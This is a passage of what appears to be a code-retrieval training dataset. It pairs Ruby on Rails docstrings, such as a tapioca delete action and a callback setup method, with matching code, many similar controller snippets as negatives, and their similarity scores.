}\n format.json { render json: @thuoc.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_method\n :http_put\n end", "def create_method\n :http_put\n end", "def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end", "def update\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n if @articulo.update_attributes(params[:articulo])\n format.html { redirect_to @articulo, notice: 'Articulo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @articulo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tiposveiculo.update(tiposveiculo_params)\n format.html { redirect_to tiposveiculos_url, notice: 'Tipo de Veículo editado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @tiposveiculo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @venta = Venta.find(params[:id])\n\n respond_to do |format|\n if @venta.update_attributes(params[:venta])\n format.html { redirect_to @venta, notice: 'Venta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @venta.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sintoma.update(sintoma_params)\n format.html { redirect_to @sintoma, notice: 'Sintoma was successfully updated.' }\n format.json { render :show, status: :ok, location: @sintoma }\n else\n format.html { render :edit }\n format.json { render json: @sintoma.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tasaiva = Tasaiva.find(params[:id])\n\n respond_to do |format|\n if @tasaiva.update_attributes(params[:tasaiva])\n format.html { redirect_to(@tasaiva, :notice => 'Tasaiva was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tasaiva.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @caso.update_attributes(caso_params)\n format.html { redirect_to @caso, notice: 'Caso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @caso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @apologetic.update(apologetic_params)\n format.html { redirect_to @apologetic, notice: 'Apologetic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @apologetic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(data = :object || :json)\n end", "def update\n @tienda = Tienda.find(params[:id])\n\n respond_to do |format|\n if @tienda.update_attributes(params[:tienda])\n flash[:notice] = 'Tienda was successfully updated.'\n format.html { redirect_to(@tienda) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tienda.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tropa.update(tropa_params)\n format.html { redirect_to @tropa, notice: 'Tropa was successfully updated.' }\n format.json { render :show, status: :ok, location: @tropa }\n else\n format.html { render :edit }\n format.json { render json: @tropa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tercero.update(tercero_params)\n format.html { redirect_to @tercero, notice: 'Tercero was successfully updated.' }\n format.json { render :show, status: :ok, location: @tercero }\n else\n format.html { render :edit }\n format.json { render json: @tercero.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(*args)\n request :put, *args\n end", "def update\n respond_to do |format|\n if @api_task.update(api_task_params)\n format.html { redirect_to @api_task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_task }\n else\n format.html { render :edit }\n format.json { render json: @api_task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tipo_documento = TipoDocumento.find(params[:id])\n\n respond_to do |format|\n if @tipo_documento.update_attributes(params[:tipo_documento])\n format.html { redirect_to @tipo_documento, notice: 'Tipo documento was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_documento.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @socio_serasa.update(socio_serasa_params)\n format.html { redirect_to @socio_serasa, notice: 'Socio serasa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @socio_serasa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tango = Tango.find(params[:id])\n\n respond_to do |format|\n if @tango.update_attributes(params[:tango])\n format.html { redirect_to @tango, notice: 'Tango was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tango.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.630356", "0.62408584", "0.6227141", "0.6220228", "0.61816573", "0.6161129", "0.6144715", "0.61440086", "0.61382145", "0.61067414", "0.6091236", "0.60742587", "0.60506177", "0.60506177", "0.59808683", "0.5949832", "0.5927379", "0.59171987", "0.59117854", "0.5898775", "0.5897522", "0.5891469", "0.5891469", "0.58904344", "0.5889971", "0.58829343", "0.588239", "0.58814025", "0.5867289", "0.5857583", "0.5850352", "0.5850194", "0.5832878", "0.58169335", "0.5811186", "0.5803391", "0.5802367", "0.5801403", "0.579922", "0.5789912", "0.57872933", "0.5761388", "0.5759918", "0.5756358", "0.5756211", "0.57531077", "0.57424235", "0.57352704", "0.5734453", "0.5728539", "0.57270575", "0.5717646", "0.5714278", "0.5714165", "0.5713761", "0.5712487", "0.57061803", "0.5699306", "0.5692537", "0.56878585", "0.5686412", "0.5679164", "0.5666882", "0.5665697", "0.5663181", "0.5656282", "0.5651648", "0.565062", "0.56504583", "0.56417006", "0.56374013", "0.5637295", "0.56268847", "0.56264174", "0.5621631", "0.5616668", "0.56116134", "0.560747", "0.56060696", "0.56018555", "0.5600328", "0.5600328", "0.55995196", "0.5597542", "0.55950576", "0.5591687", "0.5584833", "0.5580431", "0.55751634", "0.5571005", "0.55705017", "0.5566261", "0.555754", "0.55537534", "0.5551742", "0.5551726", "0.5550012", "0.55499196", "0.55487084", "0.5543315" ]
0.6973547
0
DELETE /tapiocas/1 DELETE /tapiocas/1.json
def destroy @tapioca.destroy respond_to do |format| format.html { redirect_to tapiocas_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n client.delete(\"/#{id}\")\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @tccapi.destroy\n respond_to do |format|\n format.html { redirect_to tccapis_url, notice: 'Tccapi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_todo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @aactio = Aactio.find(params[:id])\n @aactio.destroy\n\n respond_to do |format|\n format.html { redirect_to aactios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cta = Cta.find(params[:id])\n @cta.destroy\n\n respond_to do |format|\n format.html { redirect_to ctas_url }\n format.json { head :no_content }\n end\n end", "def delete\n api(\"Delete\")\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @tarefa = Tarefa.find(params[:id])\n @tarefa.destroy\n\n respond_to do |format|\n format.html { redirect_to tarefas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tatoo.destroy\n respond_to do |format|\n format.html { head :no_content }\n format.json { head :no_content }\n end\n end", "def destroy\n @taco.destroy\n respond_to do |format|\n format.html { redirect_to tacos_url, notice: 'Taco was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cto.destroy\n respond_to do |format|\n format.html { redirect_to ctos_url }\n format.json { head :no_content }\n end\n end", "def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end", "def destroy\n @api.destroy\n respond_to do |format|\n format.html { redirect_to apis_url }\n format.json { head :no_content }\n end\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def delete\n request(:delete)\n end", "def destroy\n @apunte = Apunte.find(params[:id])\n @apunte.destroy\n\n respond_to do |format|\n format.html { redirect_to apuntes_url }\n format.json { head :no_content }\n end\n end", "def delete\n api_client.delete(url)\n end", "def destroy\n @tso = Tso.find(params[:id])\n @tso.destroy\n\n respond_to do |format|\n format.html { redirect_to(tsos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @tattoo = Tattoo.find(params[:id])\n @tattoo.destroy\n\n respond_to do |format|\n format.html { redirect_to tattoos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @atracao = Atracao.find(params[:id])\n @atracao.destroy\n\n respond_to do |format|\n format.html { redirect_to atracaos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @testowa.destroy\n respond_to do |format|\n format.html { redirect_to testowas_url, notice: 'Testowa was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @apologetic.destroy\n respond_to do |format|\n format.html { redirect_to apologetics_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @tarefa.destroy\n respond_to do |format|\n format.html { redirect_to tarefas_url, notice: 'Tarefa deletada com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @apoio.destroy\n respond_to do |format|\n format.html { redirect_to apoios_url, notice: 'Apoio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @treq = Treq.find(params[:id])\n @treq.destroy\n\n respond_to do |format|\n format.html { redirect_to treqs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tea = Tea.find(params[:id])\n @tea.destroy\n\n respond_to do |format|\n format.html { redirect_to teas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tea = Tea.find(params[:id])\n @tea.destroy\n\n respond_to do |format|\n format.html { redirect_to teas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_post.destroy\n\n head :no_content\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n \n @lancamentorapido = Lancamentorapido.find(params[:id])\n @lancamentorapido.destroy \n\n respond_to do |format|\n format.html { redirect_to lancamentorapidos_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @datoscontacto = Datoscontacto.find(params[:id])\n @datoscontacto.destroy\n\n respond_to do |format|\n format.html { redirect_to datoscontactos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @thuoc.destroy\n respond_to do |format|\n format.html { redirect_to thuocs_url, notice: \"Thuoc was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @asos_datum.destroy\n respond_to do |format|\n format.html { redirect_to asos_data_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tangazo.destroy\n respond_to do |format|\n format.html { redirect_to tangazos_url, notice: 'Tangazo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cta.destroy\n respond_to do |format|\n format.html { redirect_to cta_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @osoba = Osoba.find(params[:id])\n @osoba.destroy\n\n head :no_content\n end", "def destroy\n @apuesta_detail = ApuestaDetail.find(params[:id])\n @apuesta_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to apuesta_details_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @taux_tva = TauxTva.find(params[:id])\n @taux_tva.destroy\n\n respond_to do |format|\n format.html { redirect_to(taux_tvas_url) }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>[]}}\n end\n end", "def destroy\n @tantosha.destroy\n # @tantosha.delete\n respond_to do |format|\n format.html { redirect_to tantoshas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tdoc = Tdoc.find(params[:id])\n @tdoc.destroy\n \n respond_to do |format|\n format.html { redirect_to tdocs_url }\n format.json { head :ok }\n end\n end", "def destroy\n @ano = Ano.find(params[:id])\n @ano.destroy\n\n respond_to do |format|\n format.html { redirect_to anos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @tinta.destroy\n respond_to do |format|\n format.html { redirect_to tintas_url, notice: 'Tinta was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def destroy\n @asiento = Asiento.find(params[:id])\n @asiento.destroy\n\n respond_to do |format|\n format.html { redirect_to asientos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @tango = Tango.find(params[:id])\n @tango.destroy\n\n respond_to do |format|\n format.html { redirect_to tangos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tucdoc.destroy\n respond_to do |format|\n format.html { redirect_to tucdocs_url, notice: 'Tucdoc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete!( opts = {} )\n http_action :delete, nil, opts\n end", "def destroy\n @tktest = Tktest.find(params[:id])\n @tktest.destroy\n\n respond_to do |format|\n format.html { redirect_to tktests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @testis = Teste.find(params[:id])\n @testis.destroy\n\n respond_to do |format|\n format.html { redirect_to testes_url }\n format.json { head :no_content }\n end\n end", "def cfa_delete\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in cfa titles cfa_delete method\"\n begin\n id=params[\"format\"] \n cfa=RestClient.delete $api_service+'/cfa_titles/'+id\n rescue =>e\n Rails.logger.custom_log.error { \"#{e} Cfa controller delete method\" }\n end\n redirect_to action: \"index\"\n end", "def destroy\n @api = Api.find(params[:id])\n @api.destroy\n\n respond_to do |format|\n format.html { redirect_to apis_url }\n format.json { head :no_content }\n end\n end", "def destroy\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n response = HTTParty.delete(url, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n redirect_to units_url, notice: 'Unit was successfully deleted.'\n end", "def destroy\n @antropo.destroy\n respond_to do |format|\n format.html { redirect_to antropos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tetramod = Tetramod.find(params[:id])\n @tetramod.destroy\n\n respond_to do |format|\n format.html { redirect_to tetramods_url }\n format.json { head :no_content }\n end\n end", "def delete!\n request! :delete\n end", "def destroy\n @toto.destroy\n respond_to do |format|\n format.html { redirect_to totos_url, notice: 'Toto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "def destroy\n @aadt = Aadt.find(params[:id])\n @aadt.destroy\n\n respond_to do |format|\n format.html { redirect_to aadts_url }\n format.json { head :no_content }\n end\n end", "def http_delete(path, data = nil, content_type = 'application/json')\n http_methods(path, :delete, data, content_type)\n end", "def destroy\n # @accesot.destroy\n # respond_to do |format|\n # format.html { redirect_to accesots_url, notice: 'Accesot was successfully destroyed.' }\n # format.json { head :no_content }\n # end\n end", "def destroy\n @ativo_outro = AtivoOutro.find(params[:id])\n @ativo_outro.destroy\n\n respond_to do |format|\n format.html { redirect_to ativo_outros_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @example.destroy\n respond_to do |format|\n format.html { redirect_to examples_url, notice: 'Operação realizada com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tipo_aposta.destroy\n respond_to do |format|\n format.html { redirect_to tipo_apostas_url, notice: 'Tipo aposta was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(path, params={}, options={})\n request(:delete, api_path(path), params, options)\n end", "def destroy1\n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to(todos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n @agronomiaquimica.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiaquimicas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @retroaspecto = Retroaspecto.find(params[:id])\n @retroaspecto.destroy\n\n respond_to do |format|\n format.html { redirect_to retroaspectos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @atest = Atest.find(params[:id])\n @atest.destroy\n\n respond_to do |format|\n format.html { redirect_to(atests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @atr = Atr.find(params[:id])\n @atr.destroy\n\n respond_to do |format|\n format.html { redirect_to atrs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @nota_tecnica.destroy\n respond_to do |format|\n format.html { redirect_to nota_tecnicas_url }\n format.json { head :no_content }\n end\n end", "def delete\n unless possui_acesso?()\n return\n end\n @aviso = Aviso.find(params[:id])\n @aviso.destroy\n\n respond_to do |format|\n format.html { redirect_to avisos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @torso = Torso.find(params[:id])\n @torso.destroy\n\n respond_to do |format|\n format.html { redirect_to torsos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @toc.destroy\n respond_to do |format|\n format.html { redirect_to tocs_url, notice: 'Toc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @taf = Taf.find(params[:id])\n @taf.destroy\n\n respond_to do |format|\n format.html { redirect_to tafs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tecnico = Tecnico.find(params[:id])\n @tecnico.destroy\n\n respond_to do |format|\n format.html { redirect_to tecnicos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tecnico = Tecnico.find(params[:id])\n @tecnico.destroy\n\n respond_to do |format|\n format.html { redirect_to tecnicos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tecnico = Tecnico.find(params[:id])\n @tecnico.destroy\n\n respond_to do |format|\n format.html { redirect_to tecnicos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @rest_api.destroy\n respond_to do |format|\n format.html { redirect_to rest_apis_url }\n format.json { head :no_content }\n end\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def DeleteView id\n \n APICall(path: \"views/#{id}.json\",method: 'DELETE')\n \n end", "def destroy\n @tropa.destroy\n respond_to do |format|\n format.html { redirect_to tropas_url, notice: 'Tropa was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tobacco.destroy\n respond_to do |format|\n format.html { redirect_to tobaccos_url, notice: 'Tobacco was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tecido.destroy\n respond_to do |format|\n format.html { redirect_to tecidos_url, notice: 'Tecido was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @anio.destroy\n respond_to do |format|\n format.html { redirect_to anios_url, notice: 'Anio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @estatuto = Estatuto.find(params[:id])\n @estatuto.destroy\n\n respond_to do |format|\n format.html { redirect_to estatutos_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def destroy\n @tipoapreensao.destroy\n respond_to do |format|\n format.html { redirect_to tipoapreensoes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tattoo.destroy\n respond_to do |format|\n format.html { redirect_to tattoos_url, notice: 'Tattoo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @odontologia1 = Odontologia1.find(params[:id])\n @odontologia1.destroy\n\n respond_to do |format|\n format.html { redirect_to odontologia1s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tipo_documento = TipoDocumento.find(params[:id])\n @tipo_documento.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_documentos_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.7292021", "0.7255884", "0.7255884", "0.7255884", "0.7255884", "0.72435254", "0.7203925", "0.71367854", "0.70688", "0.70488787", "0.70350146", "0.70326376", "0.7016501", "0.7010592", "0.6976672", "0.696649", "0.6962057", "0.6935283", "0.6904715", "0.69023746", "0.6899159", "0.6889821", "0.68717384", "0.6858461", "0.6858127", "0.6837293", "0.6830366", "0.68293774", "0.68270636", "0.6824542", "0.6815266", "0.680771", "0.680771", "0.6800694", "0.6796119", "0.6793848", "0.6789167", "0.6787773", "0.678553", "0.6777054", "0.67765266", "0.6770896", "0.676811", "0.676775", "0.6765384", "0.6760659", "0.6755587", "0.6748385", "0.6746343", "0.674611", "0.6744764", "0.67443216", "0.6740299", "0.67360955", "0.6732824", "0.6729355", "0.6727354", "0.67272264", "0.6726562", "0.6721393", "0.6717732", "0.6716859", "0.6713577", "0.67128676", "0.6710407", "0.6705846", "0.67057407", "0.6699393", "0.6695432", "0.6693566", "0.6690566", "0.66880935", "0.66874117", "0.6685043", "0.6682574", "0.6676303", "0.6676235", "0.66742074", "0.66711247", "0.6665426", "0.6663709", "0.6659997", "0.66597337", "0.66597337", "0.66597337", "0.6659626", "0.6654848", "0.66539294", "0.66539294", "0.6653711", "0.6653375", "0.6652119", "0.6651346", "0.66495615", "0.66486317", "0.6647716", "0.66463804", "0.6642701", "0.664258", "0.66381675" ]
0.77813435
0
Use callbacks to share common setup or constraints between actions.
def set_tapioca @tapioca = Tapioca.find(params[:id]) @comment = @tapioca.comments.build end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def 